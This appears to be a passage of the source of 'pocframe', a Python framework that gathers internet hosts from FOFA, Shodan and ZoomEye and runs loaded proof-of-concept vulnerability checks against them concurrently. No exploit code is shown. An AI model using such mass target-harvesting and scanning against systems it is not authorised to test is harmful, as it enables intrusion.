| 93 | 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /lib/api/fofa/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/fofa/fofa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import sys 10 | import json 11 | import base64 12 | from lib.utils.config import ConfigFileParser 13 | from lib.core.common import colorprint 14 | from lib.core.data import paths, conf 15 | from lib.core.Request import request 16 | from lib.core.log import logger 17 | 18 | 19 | def check(email, key): # verify email and key 20 | if email and key: 21 | auth_url = "https://fofa.so/api/v1/info/my?email={0}&key={1}".format(email, key) 22 | try: 23 | response = request.get(auth_url) 24 | if response.status_code == 200: 25 | return True 26 | except Exception as e: 27 | logger.debug(e) 28 | return False 29 | return False 30 | 31 | 32 | def handle_fofa(query, limit, offset=0): 33 | try: 34 | msg = '[+] Trying to login with credentials in config file: {}.'.format(paths.CONFIG_PATH) 35 | colorprint.green(msg) 36 | email = ConfigFileParser().fofa_email() 37 | key = ConfigFileParser().fofa_key() 38 | if check(email, key): 39 | pass 40 | else: 41 | raise Exception("Automatic authorization failed") # will go to except block 42 | except Exception as e: 43 | logger.debug(e) 44 | msg = '[*] Automatic authorization failed.' 45 | colorprint.cyan(msg) 46 | msg = '[*] Please input your FoFa Email and API Key below.' 47 | colorprint.cyan(msg) 48 | email = input("[*] Fofa Email: ").strip() 49 | key = input('[*] Fofa API Key: ').strip() 50 | if not check(email, key): 51 | msg = '[-] Fofa API authorization failed, Please re-run it and enter a valid key.' 52 | colorprint.red(msg) 53 | sys.exit() 54 | 55 | query = base64.b64encode(query.encode('utf-8')).decode('utf-8') 56 | 57 | # count how many result to search 58 | size = limit + offset 59 | 60 | url = f"https://fofa.so/api/v1/search/all?email={email}&key={key}&qbase64={query}&size={size}" 61 | try: 62 | response = request.get(url).text 63 | resp = json.loads(response) 64 | if not resp["error"]: 65 | for item in resp.get('results')[offset:]: 66 | conf.target.add(item[0]) 67 | 68 | except Exception as e: 69 | colorprint.red(e) 70 | sys.exit() 71 | -------------------------------------------------------------------------------- /lib/api/shodan/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/shodan/shodan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import sys 10 | from lib.core.data import paths, conf 11 | from lib.core.common import colorprint 12 | from lib.utils.config import ConfigFileParser 13 | from shodan import Shodan, APIError 14 | 15 | 16 | class ShodanBase: 17 | def __init__(self, query, limit, offset): 18 | self.query = query 19 | self.limit = limit 20 | self.offset = offset 21 | self.api_key = None 22 | 23 | def login(self): 24 | msg = '[+] Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 25 | colorprint.green(msg) 26 | self.api_key = ConfigFileParser().shodan_apikey() 27 | 28 | if not self.api_key: 29 | msg = '[*] Automatic authorization failed.' 30 | colorprint.cyan(msg) 31 | msg = '[*] Please input your Shodan API Key (https://account.shodan.io/).' 32 | colorprint.cyan(msg) 33 | self.api_key = input('[*] API KEY > ').strip() 34 | 35 | def account_info(self): 36 | try: 37 | if not self.api_key: 38 | colorprint.red("[-] Shodan api cant not be Null") 39 | sys.exit() 40 | api = Shodan(self.api_key) 41 | account_info = api.info() 42 | msg = "[+] Available Shodan query credits: %d" % account_info.get('query_credits') 43 | colorprint.green(msg) 44 | except APIError as e: 45 | colorprint.red(e) 46 | sys.exit() 47 | return True 48 | 49 | def api_query(self): 50 | try: 51 | api = Shodan(self.api_key) 52 | result = api.search(query=self.query, offset=self.offset, limit=self.limit) 53 | except APIError as e: 54 | colorprint.red(e) 55 | sys.exit() 56 | 57 | if 'matches' in result: 58 | for match in result.get('matches'): 59 | conf.target.add(match.get('ip_str') + ':' + str(match.get('port'))) 60 | else: 61 | pass 62 | 63 | 64 | def handle_shodan(query, limit, offset): 65 | s = ShodanBase(query, limit, offset) 66 | s.login() 67 | s.account_info() 68 | s.api_query() 69 | -------------------------------------------------------------------------------- /lib/api/zoomeye/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/zoomeye/zoomeye.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import json 10 | import sys 11 | 12 | from lib.core.data import paths, conf 13 | from lib.utils.config import ConfigFileParser 14 | from lib.core.common import colorprint 15 | from lib.core.Request import request 16 | 17 | class ZoomEye(): 18 | def __init__(self, username=None, password=None): 19 | self.username = username 20 | self.password = password 21 | self.token = '' 22 | self.zoomeye_dork_api = "https://api.zoomeye.org/{}/search" 23 | 24 | def auto_login(self): 25 | msg = '[+] Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 26 | colorprint.green(msg) 27 | try: 28 | self.username = ConfigFileParser().ZoomEyeEmail() 29 | self.password = ConfigFileParser().ZoomEyePassword() 30 | except: 31 | pass 32 | 33 | if bool(self.username and self.password): 34 | if self.get_token(): 35 | return 36 | 37 | msg = '[*] Automatic authorization failed.' 38 | colorprint.cyan(msg) 39 | self.manual_login() 40 | 41 | def manual_login(self): 42 | msg = '[*] Please input your ZoomEye Email and Password below.' 43 | colorprint.cyan(msg) 44 | self.username = input('[*] ZoomEye Username(Email): ').strip() 45 | self.password = input('[*] ZoomEye Password: ').strip() 46 | if not self.get_token(): 47 | msg = '[-] Error ZoomEye username or password.' 48 | colorprint.red(msg) 49 | sys.exit() 50 | 51 | def get_token(self): 52 | # Please access https://www.zoomeye.org/api/doc#login 53 | data = { 54 | 'username': self.username, 55 | 'password': self.password 56 | } 57 | data_encoded = json.dumps(data) # dumps 将 python 对象转换成 json 字符串 58 | res = request.post('https://api.zoomeye.org/user/login', data=data_encoded) 59 | if res and res.status_code == 200 and 'access_token' in res.text: 60 | res_decoded = json.loads(res.text) 61 | self.token = res_decoded['access_token'] 62 | return self.token 63 | return False 64 | 65 | def dork_search(self, dork, page=0, resource='web', facet=['ip']): 66 | """Search records with ZoomEye dorks. 67 | 68 | param: dork 69 | ex: country:cn 70 | access https://www.zoomeye.org/search/dorks for more details. 71 | param: page 72 | total page(s) number 73 | param: resource 74 | set a search resource type, ex: [web, host] 75 | param: facet 76 | ex: [app, device] 77 | A comma-separated list of properties to get summary information 78 | """ 79 | result = [] 80 | if isinstance(facet, (tuple, list)): 81 | facet = ','.join(facet) 82 | 83 | zoomeye_api = self.zoomeye_dork_api.format(resource) 84 | headers = {'Authorization': 'JWT %s' % self.token} 85 | params = {'query': dork, 'page': page + 1, 'facet': facet} 86 | resp = request.get(zoomeye_api, params=params, headers=headers) 87 | if resp and resp.status_code == 200 and 'matches' in resp.json(): 88 | matches = resp.json().get('matches') 89 | # total = resp.json().get('total') # all matches items num 90 | result = matches 91 | 92 | # Every match item incudes the following information: 93 | # geoinfo 94 | # description 95 | # check_time 96 | # title 97 | # ip 98 | # site 99 | # system 100 | # headers 101 | # keywords 102 | # server 103 | # domains 104 | 105 | return result 106 | 107 | def resources_info(self): 108 | """Resource info shows us available search times. 109 | 110 | host-search: total number of available host records to search 111 | web-search: total number of available web records to search 112 | """ 113 | data = None 114 | zoomeye_api = "https://api.zoomeye.org/resources-info" 115 | headers = {'Authorization': 'JWT %s' % self.token} 116 | resp = request.get(zoomeye_api, headers=headers) 117 | if resp and resp.status_code == 200 and 'plan' in resp.json(): 118 | data = resp.json() 119 | 120 | return data 121 | 122 | 123 | def handle_zoomeye(query, limit, type, offset): 124 | z = ZoomEye() 125 | z.auto_login() 126 | info = z.resources_info().get('resources') 127 | if info: 128 | msg = '[+] Available ZoomEye search: (search:%s)' % (info.get('search', 'NO FOUND')) 129 | colorprint.green(msg) 130 | else: 131 | msg = '[-] ZoomEye API authorization failed, Please re-run it and enter a new token.' 132 | colorprint.red(msg) 133 | sys.exit() 134 | # 开始爬取 135 | result_count = 0 136 | is_continue = True 137 | page = 0 138 | while is_continue: 139 | data = z.dork_search(query, page=page, resource=type) 140 | if data: 141 | for i in data: 142 | ip_str = i.get('ip') 143 | if 'portinfo' in i: 144 | ip_str = ip_str + ':' + str(i.get('portinfo').get('port')) 145 | result_count += 1 146 | if result_count >= offset: 147 | conf.target.add(ip_str) 148 | if len(conf.target) >= limit: 149 | is_continue = False 150 | break 151 | page += 1 152 | else: 153 | break -------------------------------------------------------------------------------- /lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/controller/engine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import gevent 10 | import sys 11 | import threading 12 | import time 13 | import traceback 14 | from lib.core.data import conf, th 15 | from lib.core.common import colorprint 16 | from lib.core.enums import POC_RESULT_STATUS 17 | from lib.utils.console import getTerminalSize 18 | from lib.core.log import logger 19 | 20 | 21 | def init_engine(): 22 | # init control parameter 23 | th.result = [] 24 | th.thread_mode = True if conf.engine_mode == "multi_threaded" else False 25 | th.tasks = conf.task_queue 26 | th.tasks_num = conf.task_queue.qsize() 27 | th.output_path = conf.output_path 28 | th.scan_count = th.found_count = 0 29 | th.is_continue = True 30 | th.console_width = getTerminalSize()[0] - 2 31 | 32 | # set concurrent number 33 | if th.tasks.qsize() < conf.concurrent_num: 34 | th.concurrent_count = th.concurrent_num = th.tasks.qsize() 35 | else: 36 | th.concurrent_count = th.concurrent_num = conf.concurrent_num 37 | 38 | th.start_time = time.time() 39 | 40 | 41 | def set_threadLock(): 42 | # set thread lock 43 | th.output_screen_lock = threading.Lock() 44 | th.found_count_lock = threading.Lock() 45 | th.scan_count_lock = threading.Lock() 46 | th.concurrent_count_lock = threading.Lock() 47 | th.file_lock = threading.Lock() 48 | th.load_lock = threading.Lock() 49 | 50 | 51 | def scan(): 52 | while True: 53 | if th.thread_mode: th.load_lock.acquire() 54 | if th.tasks.qsize() > 0 and th.is_continue: 55 | task = th.tasks.get(timeout=1.0) 56 | payload = str(task["target"]) 57 | module_obj = task["poc"] 58 | sys.stdout.write("(" + str(th.tasks_num-th.tasks.qsize()) + "/" + str(th.tasks_num) + ")\r") 59 | sys.stdout.flush() 60 | logger.info("testing: [{}] {}".format(module_obj.__name__, payload)) 61 | # colorprint.white(payload, end = '\r', flush=True) --> useless because of slow 62 | if th.thread_mode: th.load_lock.release() 63 | else: 64 | if th.thread_mode: th.load_lock.release() 65 | break 66 | try: 67 | status = module_obj.poc(payload) 68 | result_handler(status, task) 69 | except: 70 | th.err_msg = traceback.format_exc() 71 | th.is_continue = False 72 | # set scanned count + 1 73 | change_scan_count(1) 74 | # set running concurrent count -1 75 | change_concurrent_count(-1) # 76 | 77 | 78 | def free_conf_memory(): 79 | for k in conf.keys(): 80 | conf[k] = None 81 | 82 | 83 | def run(): 84 | init_engine() 85 | free_conf_memory() 86 | if th.thread_mode: 87 | # set lock for multi_threaded mode 88 | set_threadLock() 89 | colorprint.green('[+] Set working way Multi-Threaded mode') 90 | colorprint.green('[+] Set the number of thread: %d' % th.concurrent_num) 91 | colorprint.cyan("-----------------------------------------------") 92 | 93 | for i in range(th.concurrent_num): 94 | t = threading.Thread(target=scan, name=str(i)) 95 | t.setDaemon(True) 96 | t.start() 97 | # It can quit with Ctrl-C 98 | while th.concurrent_count > 0 and th.is_continue: 99 | time.sleep(0.01) 100 | 101 | # Coroutine mode 102 | else: 103 | colorprint.green('[+] Set working way Coroutine mode') 104 | colorprint.green('[+] Set the number of Coroutine: %d' % th.concurrent_num) 105 | colorprint.cyan("-----------------------------------------------") 106 | gevent.joinall([gevent.spawn(scan) for i in range(0, th.concurrent_num)]) 107 | 108 | # save result to output file 109 | output2file(th.result) 110 | print_progress() 111 | if 'err_msg' in th: 112 | colorprint.red(th.err_msg) 113 | 114 | 115 | def result_handler(status, task): 116 | 117 | if not status or status is POC_RESULT_STATUS.FAIL: 118 | logger.debug('not vuln: [{}] {}'.format(task['poc'].__name__, task["target"])) 119 | return 120 | 121 | # try again 122 | elif status is POC_RESULT_STATUS.RETRAY: 123 | logger.debug('try again: [{}] {}'.format(task['poc'].__name__, task["target"])) 124 | change_scan_count(-1) 125 | th.tasks.put(task) 126 | return 127 | 128 | # vulnerable 129 | elif status is True or status is POC_RESULT_STATUS.SUCCESS: 130 | logger.debug('vuln: [{}] {}'.format(task['poc'].__name__, task["target"])) 131 | msg = '[{}] {}'.format(task['poc'].__name__, task["target"]) 132 | if th.thread_mode: th.output_screen_lock.acquire() 133 | colorprint.white(msg + " " * (th.console_width - len(msg))) 134 | if th.thread_mode: th.output_screen_lock.release() 135 | th.result.append(msg) 136 | 137 | # URLTEST 138 | elif status is POC_RESULT_STATUS.URLTEST: 139 | logger.debug('url test: [{}] {}'.format(task['poc'].__name__, task["target"])) 140 | msg = '[{}] {}'.format(task['poc'].__name__, task["target"]) 141 | th.result.append(msg) 142 | 143 | # If there is a lot of information, Line feed display 144 | elif isinstance(status, list): 145 | if th.thread_mode: th.output_screen_lock.acquire() 146 | for _msg in status: 147 | msg = '[{}] {}'.format(task['poc'].__name__, _msg) 148 | colorprint.white(msg + " " * (th.console_width - len(msg))) 149 | th.result.append(msg) 150 | if th.thread_mode: th.output_screen_lock.release() 151 | 152 | else: 153 | msg = '[{}] {}'.format(task['poc'].__name__, str(status)) 154 | if th.thread_mode: th.output_screen_lock.acquire() 155 | colorprint.white(msg + " " * (th.console_width - len(msg))) 156 | if th.thread_mode: th.output_screen_lock.release() 157 | th.result.append(msg) 158 | 159 | # get found number of payload +1 160 | change_found_count(1) 161 | 162 | # save result to file and empty list 163 | if th.result: 164 | output2file(th.result) 165 | th.result = [] 166 | 167 | 168 | def change_scan_count(num): 169 | if th.thread_mode: th.scan_count_lock.acquire() 170 | th.scan_count += num 171 | if th.thread_mode: th.scan_count_lock.release() 172 | 173 | 174 | def output2file(msg): 175 | if th.thread_mode: th.file_lock.acquire() 176 | with open(th.output_path, 'a') as f: 177 | for res in msg: 178 | f.write(res + '\n') 179 | if th.thread_mode: th.file_lock.release() 180 | 181 | 182 | def change_found_count(num): 183 | if th.thread_mode: th.found_count_lock.acquire() 184 | th.found_count += num 185 | if th.thread_mode: th.found_count_lock.release() 186 | 187 | 188 | def change_concurrent_count(num): 189 | if th.thread_mode: th.concurrent_count_lock.acquire() 190 | th.concurrent_count += num 191 | if th.thread_mode: th.concurrent_count_lock.release() 192 | 193 | 194 | def print_progress(): 195 | print('\n') 196 | msg = '%s found | %s remaining | %s tasks done in %.2f seconds' % ( 197 | th.found_count, th.tasks.qsize(), th.scan_count, time.time() - th.start_time) 198 | out = '\r' + ' ' * (th.console_width - len(msg)) + msg 199 | colorprint.blue(out) -------------------------------------------------------------------------------- /lib/controller/loader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | 10 | from lib.core.data import conf 11 | import importlib.util 12 | import os 13 | import sys 14 | import queue 15 | import traceback 16 | from lib.core.common import colorprint 17 | 18 | 19 | def load(): 20 | load_poc() 21 | conf.task_queue = queue.Queue() 22 | for poc in conf.poc_module: 23 | for target in conf.target: 24 | task = { 25 | "poc": poc, 26 | "target": target 27 | } 28 | conf.task_queue.put(task) 29 | 30 | 31 | def load_poc(): 32 | conf.poc_module = [] 33 | for module_path in conf.module_path: 34 | try: 35 | module_name = os.path.basename(module_path).split(".")[0] 36 | module_spec = importlib.util.spec_from_file_location(module_name, module_path) 37 | module = importlib.util.module_from_spec(module_spec) 38 | module_spec.loader.exec_module(module) 39 | # module.__name__ == module_name 40 | msg = '[+] Load custom script: {}'.format(os.path.basename(module_path)) 41 | colorprint.green(msg) 42 | conf.poc_module.append(module) 43 | 44 | except: 45 | msg = "[-] Your current script [{}] caused this exception\n[-] Error Msg:\n{}".format(os.path.basename(module_path),traceback.format_exc()) 46 | colorprint.red(msg) 47 | sys.exit(0) -------------------------------------------------------------------------------- /lib/core/Request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | 10 | import requests 11 | import urllib3 12 | import socks 13 | import socket 14 | from lib.core.data import conf 15 | from plugin.random_ua import get_random_ua 16 | 17 | class Requests: 18 | 19 | def __init__(self): 20 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 21 | requests.packages.urllib3.disable_warnings() 22 | 23 | if conf.proxy: 24 | protocol, ip, port = conf.proxy 25 | if protocol == "socks5": 26 | socks.set_default_proxy(socks.SOCKS5, ip, port) 27 | elif protocol == "socks4": 28 | socks.set_default_proxy(socks.SOCKS4, ip, port) 29 | else: 30 | socks.set_default_proxy(socks.HTTP, ip, port) 31 | socket.socket = socks.socksocket 32 | 33 | def __getattr__(self, method): 34 | def inner(*args, **kwargs): 35 | # setting random user agent 36 | if "headers" not in kwargs.keys(): 37 | kwargs['headers'] = {'User-Agent': get_random_ua()} 38 | elif 'User-Agent' not in kwargs['headers'].keys(): 39 | kwargs['headers']['User-Agent'] = get_random_ua() 40 | 41 | # setting exclude ssl 42 | if "verify" not in kwargs.keys(): 43 | kwargs['verify'] = False 44 | 45 | f = getattr(requests, method) 46 | return f(*args, **kwargs) 47 | return inner 48 | 49 | request = Requests() -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import os.path 10 | from lib.core.setting import BANNER 11 | from lib.core.data import paths 12 | from thirdlib.colorama import init, Fore, Style 13 | 14 | init(autoreset=True) 15 | 16 | 17 | class ColorPrint: 18 | 19 | @staticmethod 20 | def white(s, end='\n', flush=False): 21 | print(Style.BRIGHT+Fore.WHITE + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 22 | 23 | @staticmethod 24 | def green(s, end='\n', flush=False): 25 | print(Style.BRIGHT+Fore.GREEN + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 26 | 27 | @staticmethod 28 | def cyan(s, end='\n', flush=False): 29 | print(Style.BRIGHT+Fore.CYAN + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 30 | 31 | @staticmethod 32 | def red(s, end='\n', flush=False): 33 | print(Style.BRIGHT+Fore.RED + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 34 | 35 | @staticmethod 36 | def blue(s, end='\n', flush=False): 37 | print(Style.BRIGHT+Fore.BLUE + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 38 | 39 | @staticmethod 40 | def yellow(s, end='\n', flush=False): 41 | print(Style.BRIGHT+Fore.YELLOW + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 42 | 43 | 44 | colorprint = ColorPrint() 45 | 46 | 47 | def set_paths(root_path): 48 | """ 49 | Sets absolute paths for project directories and files 50 | """ 51 | paths.ROOT_PATH = root_path # root path 52 | paths.DATA_PATH = os.path.join(paths.ROOT_PATH, "data") 53 | paths.SCRIPT_PATH = os.path.join(paths.ROOT_PATH, "scripts") 54 | paths.PLUGIN_PATH = os.path.join(paths.ROOT_PATH, "plugin") 55 | paths.OUTPUT_PATH = os.path.join(paths.ROOT_PATH, "output") 56 | paths.CONFIG_PATH = os.path.join(paths.ROOT_PATH, "config.conf") 57 | if not os.path.exists(paths.SCRIPT_PATH): 58 | err_msg = "script file missing,it may cause some issues." 59 | colorprint.red(err_msg) 60 | os.mkdir(paths.SCRIPT_PATH) 61 | if not os.path.exists(paths.PLUGIN_PATH): 62 | err_msg = "plugin file missing,it may cause some issues." 63 | colorprint.red(err_msg) 64 | os.mkdir(paths.PLUGIN_PATH) 65 | if not os.path.exists(paths.OUTPUT_PATH): 66 | os.mkdir(paths.OUTPUT_PATH) 67 | if not os.path.exists(paths.DATA_PATH): 68 | os.mkdir(paths.DATA_PATH) 69 | 70 | if os.path.isfile(paths.CONFIG_PATH): 71 | pass 72 | else: 73 | err_msg = 'Config files missing, it may cause some issues.\n' 74 | colorprint.red(err_msg) 75 | 76 | 77 | def banner(): 78 | colorprint.blue(BANNER) 79 | 80 | 81 | def gen_ip(ip_range): 82 | ''' 83 | print (gen_ip('192.18.1.1-192.168.1.3')) 84 | ==> ['192.168.1.1', '192.168.1.2', '192.168.1.3'] 85 | from https://segmentfault.com/a/1190000010324211 86 | ''' 87 | def num2ip(num): 88 | return '%s.%s.%s.%s' % ((num >> 24) & 0xff, (num >> 16) & 0xff, (num >> 8) & 0xff, (num & 0xff)) 89 | 90 | def ip2num(ip): 91 | ips = [int(x) for x in ip.split('.')] 92 | return ips[0] << 24 | ips[1] << 16 | ips[2] << 8 | ips[3] 93 | 94 | start, end = [ip2num(x) for x in ip_range.split('-')] 95 | return [num2ip(num) for num in range(start, end+1) if num & 0xff] 96 | -------------------------------------------------------------------------------- /lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from lib.core.datatype import AttribDict 10 | # pocframe paths 11 | paths = AttribDict() 12 | 13 | # object to store original command line options 14 | cmdLineOptions = AttribDict() 15 | 16 | # object to share within function and classes command 17 | # line options and settings 18 | conf = AttribDict() 19 | 20 | # object to control engine 21 | th = AttribDict() -------------------------------------------------------------------------------- /lib/core/datatype.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import copy 10 | import types 11 | 12 | class AttribDict(dict): 13 | """ 14 | This class defines the project object, inheriting from Python data 15 | type dictionary. 16 | 17 | >>> foo = AttribDict() 18 | >>> foo.bar = 1 19 | >>> foo.bar 20 | 1 21 | """ 22 | 23 | def __init__(self, indict=None, attribute=None): 24 | if indict is None: 25 | indict = {} 26 | 27 | # Set any attributes here - before initialisation 28 | # these remain as normal attributes 29 | self.attribute = attribute 30 | dict.__init__(self, indict) 31 | self.__initialised = True 32 | 33 | # After initialisation, setting attributes 34 | # is the same as setting an item 35 | 36 | def __getattr__(self, item): 37 | """ 38 | Maps values to attributes 39 | Only called if there *is NOT* an attribute with this name 40 | """ 41 | 42 | try: 43 | return self.__getitem__(item) 44 | except KeyError: 45 | raise AttributeError("unable to access item '%s'" % item) 46 | 47 | def __setattr__(self, item, value): 48 | """ 49 | Maps attributes to values 50 | Only if we are initialised 51 | """ 52 | 53 | # This test allows attributes to be set in the __init__ method 54 | if "_AttribDict__initialised" not in self.__dict__: 55 | return dict.__setattr__(self, item, value) 56 | 57 | # Any normal attributes are handled normally 58 | elif item in self.__dict__: 59 | dict.__setattr__(self, item, value) 60 | 61 | else: 62 | self.__setitem__(item, value) 63 | 64 | def __getstate__(self): 65 | return self.__dict__ 66 | 67 | def __setstate__(self, dict): 68 | self.__dict__ = dict 69 | 70 | def __deepcopy__(self, memo): 71 | retVal = self.__class__() 72 | memo[id(self)] = retVal 73 | 74 | for attr in dir(self): 75 | if not attr.startswith('_'): 76 | value = getattr(self, attr) 77 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 78 | setattr(retVal, attr, copy.deepcopy(value, memo)) 79 | 80 | for key, value in self.items(): 81 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 82 | 83 | return retVal 84 | 85 | -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | class COLOR: 9 | black = 30 # 黑色 10 | red = 31 # 红色 11 | green = 32 # 绿色 12 | yellow = 33 # 黄色 13 | blue = 34 # 蓝色 14 | purple = 35 # 紫红色 15 | cyan = 36 # 青蓝色 16 | white = 37 # 白色 17 | 18 | class POC_RESULT_STATUS: 19 | FAIL = 0 20 | SUCCESS = 1 21 | RETRAY = 2 22 | URLTEST = 3 23 | 24 | class PROXY_TYPE: # keep same with SocksiPy(import socks) 25 | PROXY_TYPE_SOCKS4 = SOCKS4 = 1 26 | PROXY_TYPE_SOCKS5 = SOCKS5 = 2 27 | PROXY_TYPE_HTTP = HTTP = 3 28 | PROXY_TYPE_HTTP_NO_TUNNEL = 4 -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | import sys 9 | import logging 10 | 11 | logger = logging.getLogger("pocframe") 12 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 13 | FORMATTER = logging.Formatter("\r[%(asctime)s][%(levelname)s] %(message)s", "%H:%M:%S") 14 | LOGGER_HANDLER.setFormatter(FORMATTER) 15 | logger.addHandler(LOGGER_HANDLER) 16 | 17 | 18 | -------------------------------------------------------------------------------- /lib/core/option.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | 10 | import os 11 | import sys 12 | import time 13 | import re 14 | import logging 15 | import ipaddress 16 | from lib.core.data import paths, conf 17 | from lib.core.common import colorprint, gen_ip 18 | from lib.utils.config import ConfigFileParser 19 | from lib.core.log import logger 20 | 21 | 22 | def init_options(args): 23 | check_show(args) 24 | logger_lever_set(args) 25 | proxy_regester(args) 26 | engine_register(args) 27 | script_register(args) 28 | target_register(args) 29 | output_register(args) 30 | 31 | 32 | def check_show(args): 33 | # if show scripts 34 | if args.show_scripts: 35 | module_name_list = os.listdir(paths.SCRIPT_PATH) 36 | colorprint.green('[+] Script Name ') 37 | order = 1 38 | for module in module_name_list: 39 | # only show useful scripts 40 | if module not in ['__init__.py', 'test.py'] and os.path.splitext(module)[1] == '.py': 41 | colorprint.green(str(order) + '. ' + module) 42 | order += 1 43 | msg = '\n' + ' ' * 25 + 'Total: %d' % (order-1) 44 | colorprint.green(msg) 45 | sys.exit() 46 | 47 | 48 | def engine_register(args): 49 | # if the engine mode is conflicting 50 | if args.engine_thread and args.engine_gevent: 51 | colorprint.red("Cannot use Multi-Threaded mode and Coroutine mode at the same time") 52 | colorprint.red('Use [-eT] to set Multi-Threaded mode or [-eG] to set Coroutine mode') 53 | sys.exit() 54 | 55 | # else if engine mode is Multi-Threaded mode 56 | elif args.engine_thread: 57 | conf.engine_mode = "multi_threaded" 58 | 59 | # else if engine mode is Coroutine mode 60 | else: 61 | conf.engine_mode = 'coroutine' 62 | 63 | # set concurrent num 64 | if args.concurrent_num > 1000 or args.concurrent_num < 1: 65 | warn_msg = "setting concurrent num {}. Maybe it's too much, continue? [y/N] (default y): ".format(args.concurrent_num) 66 | colorprint.cyan(warn_msg, end='') 67 | flag = input() 68 | if flag.lower() in ('y', 'yes',''): 69 | conf.concurrent_num = args.concurrent_num 70 | else: 71 | msg = '[-] User quit!' 72 | colorprint.cyan(msg) 73 | sys.exit() 74 | conf.concurrent_num = args.concurrent_num 75 | 76 | def conf_path_add(module_path, script_name): 77 | # handle input: "-s ./script/spider.py" 78 | if os.path.split(script_name)[0]: 79 | if os.path.exists(script_name): 80 | if os.path.isfile(script_name): 81 | if script_name.endswith('.py'): 82 | module_path.append(os.path.abspath(script_name)) 83 | 